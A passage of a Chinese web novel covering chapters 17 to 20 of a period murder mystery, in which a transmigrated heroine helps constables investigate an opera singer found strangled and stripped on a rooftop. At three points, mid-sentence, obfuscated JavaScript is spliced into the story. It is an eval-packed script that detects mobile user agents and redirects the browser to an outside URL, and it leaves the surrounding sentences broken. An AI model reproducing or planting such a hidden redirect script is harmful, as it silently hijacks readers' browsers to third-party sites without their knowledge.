此时此刻,谁能想到,三天后,生动演绎着的他就已成为一具尸体了呢? 17.屋顶陈尸 事情发生在三天后的一早,二公子忽然来了我家,进门就拉着我往外走。说是王妃实在喜爱离官,以至于今早竟还选了件极美的头面,要赏给离官与他妆点。 “王妃要赏离官,你拉我去做什么啊?我饭还没吃完诶!” 二公子今日穿着件暗蓝色披风,遮住了腰间名贵的配饰,头顶也只用白玉冠,低调的很。动作却还是那般大开大合,亲昵熟络。 只见他俊朗面容上透着得意,大手一挥,眉飞色舞:“西街新开了酱猪蹄的铺子,你最喜欢,我带你去吃!咱们先去送个赏,难得我今天休假,都陪你啦。” “不,不必了吧!” 这原主的好朋友,我可实在不想亲近啊,毕竟我这是鸠占鹊巢,心虚呐! 然而拒绝的话被风吹开,二公子丝毫没在意,直接将我拽了起来。我毫无防备,险些踩到他的脚。这一接触,他身上清爽的味道就突兀的钻入我的鼻子。 眉头不易察觉的皱了皱,我想起一个人。 “想什么呢?走啦!” “袖子,袖子要破了!你松开我行不行?” “再给你买新的啦!我府上的绣娘也是看你长大的,帮你重新量一下做上几身!对了,她的名字你还记得吗?小时候咱俩还躲到她的绣台下呢,记得不?” “这……” 眼中殷切的光芒未消,二公子侧侧头,又提起曾替他和原主挨打过的花匠。 我这才明白,他不甘于童年好友的陌生,今天这是唤醒记忆来了。 既如此……我转转眼珠,决定套波话。 “二公子啊,原……啊,我是说我啦,这不是很多年没回京了吗?那我要回来的消息,我爹都告诉过什么人?” 二公子一怔,秀气的眉头蹙起:“告诉……什么意思?不就告诉我们府上吗?哦,你是想问小时候玩的好的那几个,知不知道你回来了?嗨,国公府那小姐也出嫁了,不在京中。你回来后我倒是通知了方家和云家,不过男女有别,他俩现在不适合来找你玩。至于……” “等一下,你说的这些儿时玩伴,都是我回京之后你才一一通知的?” “是啊。” 那就不对了。原主的落水发生在上京路上,这必得知道上京时间和路线的人才能谋划。 自从听到她带了八个下人同行,我就对此耿耿于怀,始终觉得落水绝非意外。而听老爹所言,原主祖母家在金华偏安富庶,对待下人从不苛刻,所以,消失的下人,我也不相信只是单纯的跑路。 老爹如只告诉过齐王府……难道,是王府中有人不希望原主上京,暗自动了手脚? 脊背如有冷风呼啸,我打了个冷战。 二公子凑近来问,眼神澄澈:“羽书妹妹,你怎么了?魂不守舍,又心事重重的。” 关怀的眉眼,亲近的口气,应当不会是他吧…… 我扯出丝笑容:“没事。嗯,你接着说,除开这些小时候的玩伴,你们府上,人人皆知?” “皆知?”二公子眨眨眼,“那也不至于吧。伯父告诉父王母妃,我自然也知道。哦,我姐已经随夫君东去,知不知道的一时半会也见不到。而我……” 话没说完,因为马车停下,目的地到了。外间还传来了熟悉的声音—— “阿松!你怎么拉车来这了?车里坐的谁?” 马车夫没有答话,而是掀开了马车帘。我们得以看清外间站着的人,果然是老爹。 “爹,你怎么在这?” 二公子变了脸色:“王伯父!你在这……出什么事了?” 这时,老爹身侧走出两人,都穿着衙差制服。其中一个眼睛很圆的衙差应声向前:“禀告二公子,瑶花班那青衣离官,被人杀了!” ————-————————— 瑶花班自去年夏天在京城首次演出,起初不温不火。但在魏王府表演过后,颇得魏王赏识,得其亲赐玉如意不说,还特意留宿全班,连演三日,并邀数位宗室同观。之后,便声名鹊起,坐上了梨园坊头把交椅。 时至今日,瑶花班表演的《贵妃醉酒》成为京城盛行,一时间达官贵人都以听过为豪。而其台柱子,就是唱腔醇厚明亮、饱满纯净的青衣离官,他现在也已成为京城名角。 我想起那日离开王府时瞥见卸去妆容的离官,皮肤白皙,长相俊逸。即便不在台上,一举一动、一腔一调,那分寸感拿捏的也很好。 这样的人物怎么会突然死亡? 但比起这个,我更震惊的是,老爹为什么在这?手里还拿着个盒子。早起我就听见动静,似乎有两拨人上门寻他,随后就不见了踪影,没想到竟然是来—— “什么?仵作!”我惊了,“他不是个中医吗?” “你是?”圆眼睛的衙差做恍然状,“啊王小姐啊!你终于到了啊,王副官念叨好长时间呢。” 我只忙着深入主旨:“他、他真的是仵作?” “那当然了!王副官可是咱们大青最好的仵作,供职于我们京城府衙,颇受我们大人仰仗呢呀。王小姐不知道吗?” 二公子踮脚张望,一面道:“甭理她,她脑子出问题了。” 嘿,怎么说话呢! 不过老爹啊,你之前不是还给我把脉呢吗?合着你这手艺不是给活人使得啊? 二公子又问那衙差:“你们大人呢?” “大人应该还在宫中。” “哦,那我得去瞧瞧怎么回事!难得母妃也喜欢,这头面还是特意从库里找出来的。怎么就……”二公子边说便往里走。 “二公子,二公子!”衙差不敢阻拦,只能跟在后面劝说,“这案发现场不能乱入啊,要是大人知道了……” “他不是还没来嘛,”二公子浑不在意,脚步不停,“我去瞧瞧,没事!他来了你告诉我,我溜就是了,杨捕头。” 杨捕头嘴张张,明显不敢苟同,可眼前人也得罪不起,他眨眨眼,最后只好把目光投向我,那眼神大概是说“你也跟进来干嘛?” 我一不能说我职业病上身,二不能公开质疑老爹的职业,只好顾左右而言他。 “啊,我啊,我那个……哦,对了,尸体是在房顶发现的?” 杨捕头眉毛挑到了太阳穴:“小姐怎么知道?” 瞅这有条不紊的衙差分工,就知这位捕头不似秋水县的那位猩猩衙差。我有些后悔不该脱口而出。但现在,我也只能解释一二了,否则他就要怀疑我了。 “这院子不少房间,衙差却只围着一处房顶搜寻。那屋子外面堆着柴火,窗框和门顶上都被烟熏黑了,显然不是住人的,即,它并非死者居住的屋子。”我指着那屋子旁我爹的背影,“他既然是仵作,验尸即可,但他刚走进去之后,带路的衙差就一直往屋顶上指,若非尸体在上面被发现,何必要对一个仵作说这些?” 杨捕头停下脚步,震惊的望着我。他的一旁,是呈现石化状态的二公子。 我心里一咯噔,暗道不妙。糟糕,一时显摆,忘了旁边还有个原主旧识了。这下麻烦了,若让人看出性情大变,恐怕仅仅用失忆,也解释不通了呀! 可二公子的反应却超出了我的预计。 “哇,羽书妹妹!你怎么能这么冷静说出这么一长段话?死者、尸体,这些词你说着都不害怕吗?”二公子瑞风眼直冒星星,“你果然是我的羽书妹妹,胆子还是这么大!” 我呆住了。 杨捕头也很惊诧,瞥向二公子的眼神别提多扭曲了。 我灵机一动:“昨天你不是说我小时候很爱听说书吗?对呀,我一直喜欢呢,到金华府都是。有一位老先生最擅长讲古今洗冤大案,我老去听。都是这种说辞,久而久之,我也学会了呗。” 二公子嘴角抖抖:“你这爱好,还真是……” 我不欲再在此事上纠缠,忙转移话题:“我说的对吗?人真是死在屋顶的?” 杨捕头赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037494|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赏着点头:“王小姐真厉害,推断的没错!尸体的确是在房顶上发现的。” “咦,真恶心。”二公子俊脸一皱,紧了紧身上的披风,“最近倒春寒,晚上那么冷,离官不得冻的梆硬啊?” 杨捕头赔笑,也不知如何回答。 “那我这头面还赏不赏了?母妃可点名给离官呢!难道要放到他……” “别别,二公子可千万别……尸体,嗯,尸体不太雅观。发现时,嗯,发现时衣服都被扒光了,成大字型躺在屋顶。”杨捕头越说越小声,尴尬的瞥了我一眼。 二公子也听懵了:“天哪,这离官到底得罪了什么人,竟被如此对待?是不是他上升的太快了,惹人嫉妒?会不会是同行干的?” 官府显然也是才接到通知的,哪能那么快厘清啊。 我看杨捕头不知如何回答,便从其他角度发问:“什么人发现的,一发现就报官了?没有人事先挪尸吧?” “应该没有。死者是在众目睽睽下被发现的,当时班子成员都在院里,有人一抬头就看见……我们到的时候,他还睁着眼睛,脖子上还挂着根绳索。” 这场面可够诡异的,二公子生理不适的吞了吞口水。 此时,我们已经走到了内院。瑶花班如今地位不一样了,租住的院子在这片街坊中算大的了,内有专为主人住的院中院,此时处处都是衙差。 “韩桂!怎么样了?” 名叫韩桂的是个精瘦的衙差,闻声奔来汇报曰:“头儿!已经查了,瑶花班去年四月进京,六月正式登台。班中共有人员四十三名,班主名叫田德宇,年六十。死者离官真名叫田南离,是班主的二徒弟,整个瑶花班只有他一个青衣角色。” 这瑶花班可就是以青衣唱腔出名的啊,唯一的青衣一死,怕是瑶花班也就止步于此,搞不好还得解散。 “头儿,正厅坐着的那位年长些的,就是瑶花班班主,一旁两个年轻人是离官的两个师弟,”韩桂又伸手指向角落里哭泣的姑娘,“哦,那是班中唯一的女子,叫做汀汀。” 杨捕头颔首,看看我又看看二公子,那意思很明显,他要开始干活了,希望无关人等别捣乱了。 但二公子完全没接收他的目光,径直迈入了花厅。职业病上身,好奇心在吞噬着我,我便也讪笑两声,跟着二公子走了进去。 “咳咳,”二公子摆着架子轻咳两声,吸引了厅中几人的主意,“我说你们……” “这位就是府丞大人吧?”一身材高大、魁梧有力的年轻人走上前来,朝二公子作揖,语气悲痛,“请大人定要为师兄做主啊!” 二公子一愣。 没想到,田班主竟也没见过府丞大人,也跟着认错了。他撑着桌子站起身,眼圈红肿,神色哀戚:“大人,大人!请一定为小徒讨回公道啊!小徒能有今天,不容易啊!怎么一朝就……” 连续被错认,二公子却忘了解释,而是盯着眼前的人出神。 这也不怪他,我也被田班主吸引了目光。这哪是六旬之人?纵是情绪崩溃中,也能看出他眉眼舒展,柔美凄凄。 眼看场面有些失控,杨捕头忙上前安抚:“田班主请节哀,我等定会努力,尽快抓住凶手。您能跟我们讲述一下,到底发生什么事了吗?” “哎!谁知道呢!昨天才在太尉府表演完,今天就……哎,南禄,你讲吧。” 高大男子闻言,走上前将田班主扶坐到椅子上,沉声禀告:“草民田南禄见过府丞大人。被杀的,哎,被杀的是我的二师兄。今天早上吃早饭的时候,他的小工三样说他不在屋里,因为二师兄昨天心情不好,我们大家还以为他出门散心去了。正在院中讨论时,田叔抬头就发现……” 我抓住了关键词:“心情不好?” 田南禄张了张嘴,好像不知道该不该说。这时,厅中另一位年轻男子忽然站起来大声道:“都这种情况了,还隐瞒什么啊!我师兄昨天早上收到了一封勒索信!” 18.套话 说话的人是离官的三师弟田南沣,他的长相也很俊美,眼波流转,顾盼生姿。只是眼下有着乌青,似乎很是疲累。 这一瞬间,我意识到,加上离官在内的四名男子,好像只有田南禄长相不属阴柔类,而是大气端正的。 “你刚才说他收到一封勒索信?信在哪里?” 回答的是坐在角落啜泣的女子:“他、他烧了。” 杨捕头似是不信,扭头去瞧两个师弟。但二人都茫然的回望着,像是也不清楚这个讯息。 韩桂则低声汇报:“屋子里找了,确实没有。” 我看一眼哭的梨花带雨的女子,直觉告诉我,她了解的应该不少。 杨捕头又问:“昨天你们是在太尉府表演的?那大概什么时间表演完的?之后离官去了哪里,可有人知道?” 三师弟田南沣一屁股坐到椅子上,颇为泄气。 倒是田南禄仍稳着心神,回答道:“昨天太尉府的表演是四场,结束时大概酉时。因为本班有惯例,若是客人不叫吃请,那我们表演之后就去酒楼吃酒庆功,每次都在据这大院两条街的那家酒楼。昨天二师兄心情不好,演出完就说不去了,班主就让他的小工三样陪着先坐马车回来了,三样说之后二师兄一直在房里,没有出去过。” 心情不好延续到了表演结束?看来昨日那勒索信,对离官冲击不小。 而它与离官之死时间如此相近,或许也非巧合。 “你们知道勒索信是谁发的吗?知道内容吗?”我插了句嘴。 在场的人都摇头。就连那姑娘,也绝望的哽咽起来。 杨捕头又问:“离官如今很出名,恐怕同行间有不少嫉妒之人吧?或者梨园行当外,可有得罪什么人?” 田南禄微微皱眉,好像很不喜欢这个问题。“大人,我们近来专为各个府邸表演,有段时间未回梨园坊了。达官贵人都很认可我们的表演,绝无得罪一说,您也可问问魏王殿下,他一早已经派人来过问了。” 杨捕头明显紧张起来:“魏王派人来了?” “是,班主一早去汇报的。殿下吩咐,有消息务必及时上呈。” 瑶华班果然是魏王提携壮大的啊,案发后报案的同时,竟然还第一时间通知了他。 不过田南禄这话倒是表明,瑶花班如今名声在外,有魏王撑腰,没人敢得罪他们。而受众的层次变化,也使得瑶花班与同行拉开了巨大的差距,大抵也没有直接竞争关系了。 可恩怨情仇,也不是你地位高,就不会发生的呀。 杨捕头似也这么认为,正要追问,老爹走了进来,对着我一通吹胡子瞪眼:“书儿,你怎么还跟进来了?这命案现场,你乱跑什么!姑娘家家一点不知稳重!” …… 好在二公子上前解围,他走到我爹跟前不知道说了什么,就见老爹脸狰狞着,很难判断是想谄媚赔笑还是不悦不愿。 但之后,老爹便沉着脸开始了汇报,伴随着二公子递给我个“放心,我罩着你”的大佬眼神。 “验尸表明,死者死于昨天午时到戌正,系被人掐死的。” “掐死?”杨捕头先质疑,“那尸体脖子上的绳索……” “那是在人死后绑上去的。从脖子上的手印痕迹推断,应该是被人徒手掐死后再绑的绳子。” 二公子嘴唇轻颤:“什么仇怨这么深?都已经掐死了,干嘛还勒根绳子扔房顶上?” 我则关注:“午时到戌正?时间跨度这么长?不能更加精确一些吗?” 老爹狠狠瞪我一眼,才说:“按照一般推断应该是戌正左右,但因为这具尸体被夜间低温冻过,降温的速度与普通不同,通常死亡时间都要往前推。从午时计算比较保险。” 杨捕头搔搔头:“昨天他们在太尉府表演结束是酉时,从太尉府回到这大院,坐马车也得两刻,这么说死亡时间是酉时两刻到戌正?” 饶是老爹眼神如刀,我还是没忍住反驳。“不一定。可以确认酉时以前在表演,但回程只有一个小工陪同,不能确定此人是不是最后一个见死者的人,更不能排除他的作案嫌疑。” 这个捕头明显比猩猩衙差灵光太多,一听马上便招来下属,吩咐查访街邻,寻找新的目击证人。之后,又继续问起尸体上其他的发现,却见老爹眼睫一闪。 杨捕头马上理解,二人挪步到一旁叙话。 我站在旁边看的真切,心说你俩这是当我是瞎子啊?敢不敢再明显一点——看来是发现了不便向外人道出的线索。 嘿嘿,那此时不狐假二公子的威,岂不是浪费?可我盘算着一扭头,才发现二公子的注意力早就转移了。他一直盯着门外在看。 “怎么了?” 二公子指指外面,正是方才厅中哭泣的女子坐到了廊下,她的身侧,身材高大的田南禄正在温言细语的安抚着,手不知该放何处,脚急得左右挪动。 啧啧,很明显啊,示好,爱怜,忍不住想要给与的呵护,这是个单相思。因为当厅中班主唤他进去时,他还一步三回头,目光粘稠呢。然而姑娘,却只是低头哭泣,自始至终都没有抬头。 我心下一软,走上前柔声劝道:“汀汀是吧?尚在早春,坐在这风口,小心哭坏身子。” 汀汀抬头,接过我递去的帕子,复又低头接着哭。 “我看过《贵妃醉酒》,离官唱腔婉转悠扬,弯腰坐卧身段优美。如此佳人怎就去了,真是可惜啊。” 汀汀哭哭啼啼:“二师兄的唱功无人能及!他死了,就再没人能唱出那么美的曲子,再没人能扮演那么美的贵妃了,呜呜呜呜……” 二公子跟在我身侧,扬眉问:“你是他的师妹?” “班主唯有四个入门弟子,我们这些进门晚的,虽然叫他一声师兄,但哪有福气能当他的师妹呢。呜呜呜……” 四个弟子?哦,是了,刚才说离官是老二,长相柔美的田南沣是老三,那个五大三粗的田南禄就应该是老四了。咦,那老大今天怎么没见? “你问大师姐?她去年病故了。”汀汀看向裙角上的一朵小花,眼泪又落了下来,“师姐心善,对我们都很好。不过去年年初,她得了风寒,反反复复也不见好,后来、后来还是病死了。” 啊?老大是个女子,去年还病死了?这里面不知道有没有隐情。 二公子秀眉拧着,捅了捅我的胳膊。明显,他也心有怀疑。只是此时不便细究,我便先搁置,继续追问着人物关系。 据汀汀说,四位徒弟中,唯有老三田南沣是班主的儿子,唱小生,而高大的老四,则演武生。只是这四个入门徒弟,都未行过正式的拜师礼。 二公子不由诧异:“梨园传承挺讲究门派师承的,为什么没有拜师?” 汀汀也不知道,又抹起眼泪来。 二公子“啧”了一声,显得有些不耐:“你这女子怎么就知道哭,烦不……” 汀汀哭的更狠了,我只得连连递去眼风,他这才悻悻闭了嘴。 怎么这般不懂怜香惜玉嘛。 换了个面色,我温笑道:“别介意,他也是着急,离官这么棒的青衣,谁不惋惜他的突然离去啊。说起来,我都不敢相信,还有人会给他发勒索信呢。那,他当时报官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049546|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 汀汀郁郁:“没……他看见那封信的时候,脸都变了,看完立马就烧掉了。我也不知道上面写了什么,他不肯说,也不肯报官。我多问了两句,他就让我滚出去,呜呜呜呜……” 滚出去?脾气真大。但——“既然你没有看到内容,为什么知道是勒索信?” 汀汀抬头,有些茫然:“是二师兄自己说的啊。他神情激动,冲出屋子,去找班主问下午的表演可不可以取消。那可是太尉府的邀约啊,怎么可能取消嘛!班主很担心,就问他到底怎么了,二师兄只说有宵小勒索,其余什么也不愿说。班主多问几句,他扭头就走了!当时小院里的人都听见了,大家都很担心!” 小院指的就是这院中院,仅供班子主要成员,也即离官、田班主、老三、老四、田叔和班中唯一的女性汀汀居住。小院还有个门房,住着离官的小工三样。 离官自己说收到勒索信,却又不肯说内容,难道他干了什么见不得人的事情? “就是因为这封勒索信,所以他心情不好,连表演后的聚餐都没去?” “是啊,午饭就没吃,去太尉府的时候也沉着个脸。表演的时候更是……”汀汀又开始滴泪,“更是唱错了两处,班主脸色都吓变了,就怕太尉听出岔子恼了!出了这一茬,二师兄心情就更差了,哪还有心思和我们吃饭。” 离官果然大受影响。“那,勒索信是有人敲门递给他的吗?” 汀汀摇头:“信是用刀插在门口的大榕树上的。昨天早上三师兄和班主大吵了一架,气的离家出走,田叔去追他,没追到,却在树上发现了信,封皮写着‘离官亲启’,所以我就拿着信送去了他房间。” 咦,这段话信息量挺大啊。 我先揪住其中一个:“三师兄和班主吵架?为什么?” 恰逢二公子也张口问:“田叔又是谁?” 汀汀懵了,只得一个一个回答:“田叔,嗯,田叔是班主的堂弟,是我们班子的二胡乐师。至于三师兄和班主吵架,吵得还是那些陈词滥调。嫌班主把他的青衣绝技教给了大师姐和二师兄,却不肯教给他这个亲生儿子。” 哦,原来班主以前也是唱青衣啊,我说这一把年纪了怎么还那么帅,风韵犹存。 不过这么说,老三就存在嫉妒离官的理由呀,难道老三对师兄不轨? 汀汀否定了我的猜想:“不,三师兄也就抱怨抱怨班主,对二师兄却很敬佩。你看他眼下乌青那么重,因为他到底是班主儿子,平时还得负责打理班中事务,本身就够忙了,但还是尽力认真配合二师兄的每一场演出,没有戏份的时候,也在下面认真的听,带头捧场呢。他们师兄弟感情一向很好。” 但瑶花班本就以大青衣剧为主要唱段,青衣明显更夺目出彩,为什么班主要把殊荣让给别人?儿子也是阴柔的长相,不存在硬件不够的问题呀。 汀汀回答不上来。她是班子组成之后才来的,对这就不了解了。 二公子见状又问:“那昨天吵架离家之后,老三没去太尉府表演?” “没去。不过也没误事,去年火了之后表演也多,陆续收了好些角色演员,小生也不只他一个。” 那老三昨天一直都没有回大院了? “不,”汀汀摇头,“三师兄也知道话说重了,毕竟早上他走的时候班主气的都快晕了。所以我们结束后到酒楼的时候,他在酒楼等着我们呢。” 我想了想,揪着刚才那段话又接着问:“汀汀,你刚才说,三师兄和班主吵架,是田叔追出去,继而发现了树上的信。那为什么,拿信给离官的,却是你?” 19.盘问 汀汀咬着嘴唇,绞着帕子:“我、我怕田叔和二师兄又吵起来,所以我就……” 余音绕梁中,是汀汀对二师兄的一颗芳心。可后者对她的态度可不咋地,看来又是个单恋。 那昨晚离官都没吃晚饭就直接回了大院,一晚上,她就没想着去送个饭? 汀汀一听这话,又开始落泪。“二师兄、二师兄以前也有这情况。有一回三样给他送饭,敲门之后没等到他同意就进去了,不过就是看见他换衣服嘛,他就直接把食盒掀了,说以后不叫不准进去,还说以后他的事情不许别人多嘴多问。所以二师兄没提吃饭的事,我、我也不敢多问。昨晚,我也没见着他。” 二公子脸色不虞:“他脾气这么大啊?亏母妃还以为……” 汀汀慌忙摇手:“不,不是的,他以前不是这样的,他以前又温柔又谦逊,可自从魏王认可他之后……” 汀汀越说声音越小,很明显,她不想说心上人的不是。但意思还是表达出来了,这离官红了以后飘了,仗着有魏王撑腰,脾气见长了呗。 二公子负手而立,冷哼了一声:“这等脾气得罪人怕是不少吧?你刚不是说,你怕田叔和他再吵起来,这就说明,班子内部,他都与不少人不睦,是不是?” 汀汀激动的摇头:“不、不会!他是我们的台柱子,是我们唯一的大青衣,我们班子离不开他,谁会恨他,害他呢!” 但这句话却抽走了她的全部力气,在我们诧异的注目下,汀汀软了下来,瘫坐到柱子边,眼泪如瀑:“二师兄、二师兄平时说话不太注意,班里的人和他起过冲突的不少。就连好脾气的四师兄,几个月前都和他打过一架……但不会的,谁会害他呢,不会的!” 汀汀眼睛已经哭肿了。她既想维护心爱之人,又怀疑是他的坏脾气害死自己的矛盾心理,体现的很明显。 一时唏嘘,我没再提问,只顺着汀汀的背安抚着。恰逢脚步声响起,是杨捕头走了出来。二公子立即走上前问:“你刚和王伯父说什么呢?神神秘秘的。” 我一听这话,也站起来凑去。杨捕头却显得局促,支支吾吾没有回答。 “怎么了?问你话呢,说啊。”二公子皱眉,肉眼可见的不悦。 杨捕头不敢得罪,眼神却往我身上斜。 气氛有些微妙啊。恍然间,我懂了。 怪不得刚才老爹要避开我,怪不得此刻杨捕头也不好开口。 呵呵,我淡笑着,出其不意问出一句:“魏王对离官,可真够上心的啊。” 杨捕头一惊,立时朝屋内看去,生怕我爹听到。 猜想如愿被证实,心中石块却没落地——魏王和离官,果然是那种关系。 所以我爹应该是在离官某个不方便提及的部位发现了伤痕。所以田班主才会第一时间通知魏王。所以汀汀说小工三样曾未得允准直接闯进离官屋中送饭,离官会大发雷霆。想必当时离官就在给自己上药。 而离官在发达后,脾气却变得越发古怪。也许在魏王府住下的那几天,离官就已经和魏王……他为了前程名利付出了代价、失去了尊严,但他应该也不快乐。心有怨念,却又无可奈何,越发矛盾,情绪才会扭曲。 我想,田班主对魏王与离官的关系是心知肚明的,甚至,是默许与赞成的。毕竟他曾经也是青衣,对此许并不陌生。 但汀汀肯定不知道,她说起离官攀得魏王恩宠,用的还是一种羡慕、骄傲的口气。 那么,班中其他人知道吗?魏王,又有嫌疑吗? 二公子在杨捕头附耳匆匆解释中也搞明白了,对我的猜想却是嗤笑:“怎么可能!我这王叔出了名的纨绔,圣上最宠这位序齿最小的弟弟,任他在家中侍妾几十个,外面相好数不清,整日就在戏院、青楼、曲苑流连。一个区区离官,长得再美,也只是个伶人。再说了……诶,等一下,羽书妹妹!你在说什么!你、你可是个姑娘家家的!你、你……” 乍然拔高的声音,怕是下一秒要土拨鼠叫了。二公子跳脚,瑞风眼睁大,脸都要贴过来了。 “我说什么了?”我闪退两步,直接装傻,“魏王一早派人来,难道不是关系好的体现吗?我什么也没猜到,你别瞎说啊。” 二公子语塞,生生咽下后文,怨念的盯着我,竟还委屈巴巴:“羽书妹妹,你、你好凶!” …… ——————————————— 恰在此时,衙差韩桂的声音骤然响起,伴随着汀汀高昂的爆哭声。 我们扭头一看,只见汀汀捏着一只荷包,脸上第一次显露出与悲伤不同的表情,满是愤懑:“是,这是我送他的!那又如何?我,我怎么会伤害二师兄?我根本不可能对他有任何不利的想法!” 韩桂冷声质问:“但昨晚席间,你是第一个离席的,早早就回来,却说没有见过他?” 哦?汀汀昨天没有全程参与聚餐?方才她可没有跟我说啊,难道真的有隐瞒? 泪水肆意在汀汀脸上:“我、我只是……开席之后我心神不定,挂念着他,索性便回来了。三样开院门后,我去敲了他的门,可他没理我……我知道,他不想和我说话,我、我只能回屋了。” “之后呢?可听到什么动静?” “我是听见田叔在院里叫骂,但我想着那场面也难堪,我也就没有出屋。” 韩桂并未被美人落泪打动,依旧咄咄逼人:“你说你对他毫无怨念,但离官拒绝过你多次,在公众场合对你的示好从来不屑一顾。这个荷包是我们在离官柜子里发现的,他并没有珍惜的挂在腰带上。他这样对你,你不恨他吗? 汀汀语气凄婉:“恨……我也想恨他,我也想不理他、忘记他,但我做不到。我总是想对他好,希望他能多看看我,接受我的示好,呜呜呜呜……” 看着汀汀的泪水,我不免恻然,走上前说出了自己的看法:“这位差大哥,汀汀或许有嫌疑,可她一介弱女子怎么可能徒手掐死离官而不被人发觉?再说,她就算对离官由爱生恨,也不至于扒光了离官,更没有体力将尸体扔上房顶呀。” 二公子也点点头:“是啊,说这女子作案,有些牵强吧。” 韩桂一听二公子发话,忙赔笑道:“是是,您说的是。只是,从各个角度盘问是卑职的职责,请二公子见谅。” 二公子摆摆手,也没放在心上。我趁势问:“昨天除了汀汀,还有其他人离席早归吗?” “有的。昨天表演结束后,三样陪着离官回大院,其他人则一起从太尉府走到酒楼,大概是酉时三刻,在酒楼碰见了等待着的老三田南沣。整个饭局,除了汀汀,还有三个人也提前离席了。” “哪三个人?”二公子也好奇了。 “田叔、田南禄,还有田班主。”回答的人是杨捕头,他也走了过来。 “头儿,你也知道了?” “嗯,我刚也问了。汀汀就不说了,第一个离席,回到大院刚过酉正时分。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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田叔是一个被叫进来的。他的二胡确实换了一根弦,却很长时间没有上过松香,这说明他很长时间没有上过台了,动机存在。 “田叔,听说这两个月上台表演的是离官请回来的一个年轻琴师。看来,他对你的琴艺有些不满?” 五十多岁的田叔阴沉着看向自己的二胡:“哼,他现在是台柱子,他说什么就是什么喽!他还挺鸡贼,倒也不明说,只讲自己的戏都让新来的小子拉二胡。可现在哪还有别人的戏?这不是摆明不让我上台吗?” 作为班主的堂弟,田叔裙带关系下位置本稳,可现在却坐了一两个月的冷板凳,难怪要怨恨离官了。 田叔越说越生气:“他也算是我的小辈,却一点不尊重人!我拉二胡一辈子了,之前也在别的剧团干过,还是堂哥特意把我请回来的。当初我们一穷二白,票都卖不出去的时候,他怎么不嫌弃我拉的不好?现在成名角了,就开始嫌弃我糟老头子了?昨天在太尉府我听见他唱错两处,我就更生气了,他自己都出错了,还有脸挑别人?我越想越不得劲,又喝了酒,我就找借口先回来,其实我就想找他理论!谁知道我砸门他也不出来,胆小鬼!我在院里骂了几句,南禄就回来把我拉开了,到我房间他陪着我又喝了几杯,我就一觉睡到了天亮。外面吵吵的,我才知道早上找不到他了。我也就是一抬头,谁知道就看见他……哎。”说到此处,田叔纵然有气,但也免不了露出了遗憾之色。 “这么说,你昨晚没有见到离官?” 田叔眉毛一竖:“没有见到!我倒是想指着他的鼻子好好骂骂他!” 咦,汀汀和田叔都提前回来,却都没有见到离官? 20.剧本杀 老四田南禄一开始,并不承认自己对二师兄有恨意,直到韩桂将从他房中找到的画徐打开,露出汀汀娇媚的容颜时,老四咬了咬腮帮子,这才承认。 “我是嫉妒二师兄……汀汀两年前来到我们瑶花班,我就对她一见钟情。可她却喜欢上了二师兄。她对二师兄又殷勤又讨好,二师兄却不为所动,不仅不接受汀汀的示好,还经常辱骂呵斥她。” “刚才你们班子里的人说去年十月,你因为离官又一次对汀汀发脾气而打了他,是不是?之后你老喝闷酒,也是因为你嫉妒他能得到汀汀的芳心,对吗?” 老四眼神闪躲,低下头喃喃自语:“我看到她坐在廊下哭,我气不过……他是混蛋,混蛋!所以冲动之下,我就打了他。” “你揍了离官,汀汀难道没有怪你?” “呵,怎能不怪。就像我傻一样,她也傻傻的痴痴的守着师兄。”老四忽然自嘲的笑了几声,“二师兄这个人我了解,他重名重利,就是不重情义。汀汀的爱慕维护,在他看来,一文不值。” 二公子坐在上首,盛气凌人,架势十足。“你们打完架,又和好了?” “不和好怎么办?他现在是我们班唯一的青衣,是我们的台柱子,而且,”老四泄气的跪坐下,“为了让汀汀开心,我也只能容忍他。” 我挑挑眉:“为了让汀汀开心?可离官态度并未改变,汀汀怎么开心得起来?还是说,你有办法让离官接受汀汀?” “接受她……”老四痛苦的低下头,魁梧的身材在这一刻竟有些弱小可怜,“是啊,我也以为,我也以为,只要二师兄肯接纳汀汀,她就一定能幸福。但是……” 说到此处,老四突兀的止了话头,看了我一眼,旋即低头不语。 杨捕头奇怪的追问:“但是什么?你倒是说啊!” 老四支吾了两声:“反正、反正我现在觉得师兄不娶汀汀也是好事!我虽然名声远不及他,但手上也攒了些钱,只要瑶花班继续演出,我很快就能买得起田地了,到时候我会求娶汀汀,她跟了我才会幸福!” 老四的话直白,杀机也很明确。 但我听懂了他的言外之意,心中对他的怀疑也降低了——他知道离官和魏王的事。 所以才敢笃定离官不再是自由身,甚至不再方便和女□□往,只有自己才能带给汀汀幸福。 那么,站在当下这个时点,他应当不会对离官动手。毕竟现在他还需要离官大红大紫,带着瑶花班赚大钱,实现他翻身农奴把歌唱、当地主娶娇妻的梦想。或许他以后求娶汀汀失败,会迁怒离官从而对其不轨,但至少不是现在。 不过,这只是推论,还需要落实。 我附耳向杨捕头建议,去查一下瑶花班至今取得的各府赏赐,尤其是老四分到了多少;再查一下各大房牙,看看他有没有买地买房。 说完了动机,老四接着讲他的时间线。 